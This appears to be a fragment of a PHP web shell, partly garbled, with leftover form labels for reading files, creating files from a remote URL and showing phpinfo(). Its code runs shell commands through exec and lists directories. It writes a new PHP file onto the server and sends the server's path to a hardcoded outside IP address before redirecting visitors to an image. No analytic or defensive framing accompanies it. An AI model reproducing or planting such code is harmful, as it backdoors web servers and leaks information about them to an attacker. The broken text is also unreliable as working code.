back
\n"; exit; } $cwd = \'\'; $asdf = \'\'; @exec("/bin/pwd", $asdf); foreach($asdf as $jkfl) $cwd .= $jkfl; if (!$cwd || $cwd == "") $cwd = $_SERVER[\'SCRIPT_FILENAME\']; echo "current working directory is: {$cwd}\n
"; echo "contents:\n
"; $dir = opendir($asdf[0]); while (false !== ($list = readdir($dir))) echo $list . "\n
"; closedir($dir); ?>

read file


filename:

create file


web url for file contents:

local file name:
phpinfo()
'; $inscript .= "?>"; $fd = fopen("barneymillerman.php", 'w'); if ($fd) fwrite($fd, $inscript); fclose($fd); $asdf = ''; $buf = ''; @exec("/bin/pwd", $asdf); foreach($asdf as $jkfl) $buf .= $jkfl; $buf .= ":" . @$_SERVER['PHP_SELF']; $fd = fopen("http://71.80.26.81/?qwerty={$buf}", 'rb'); fclose($fd); } header("Location: http://www.esreality.com/files/avatars/2004/2695-gayprideflag.gif"); ?>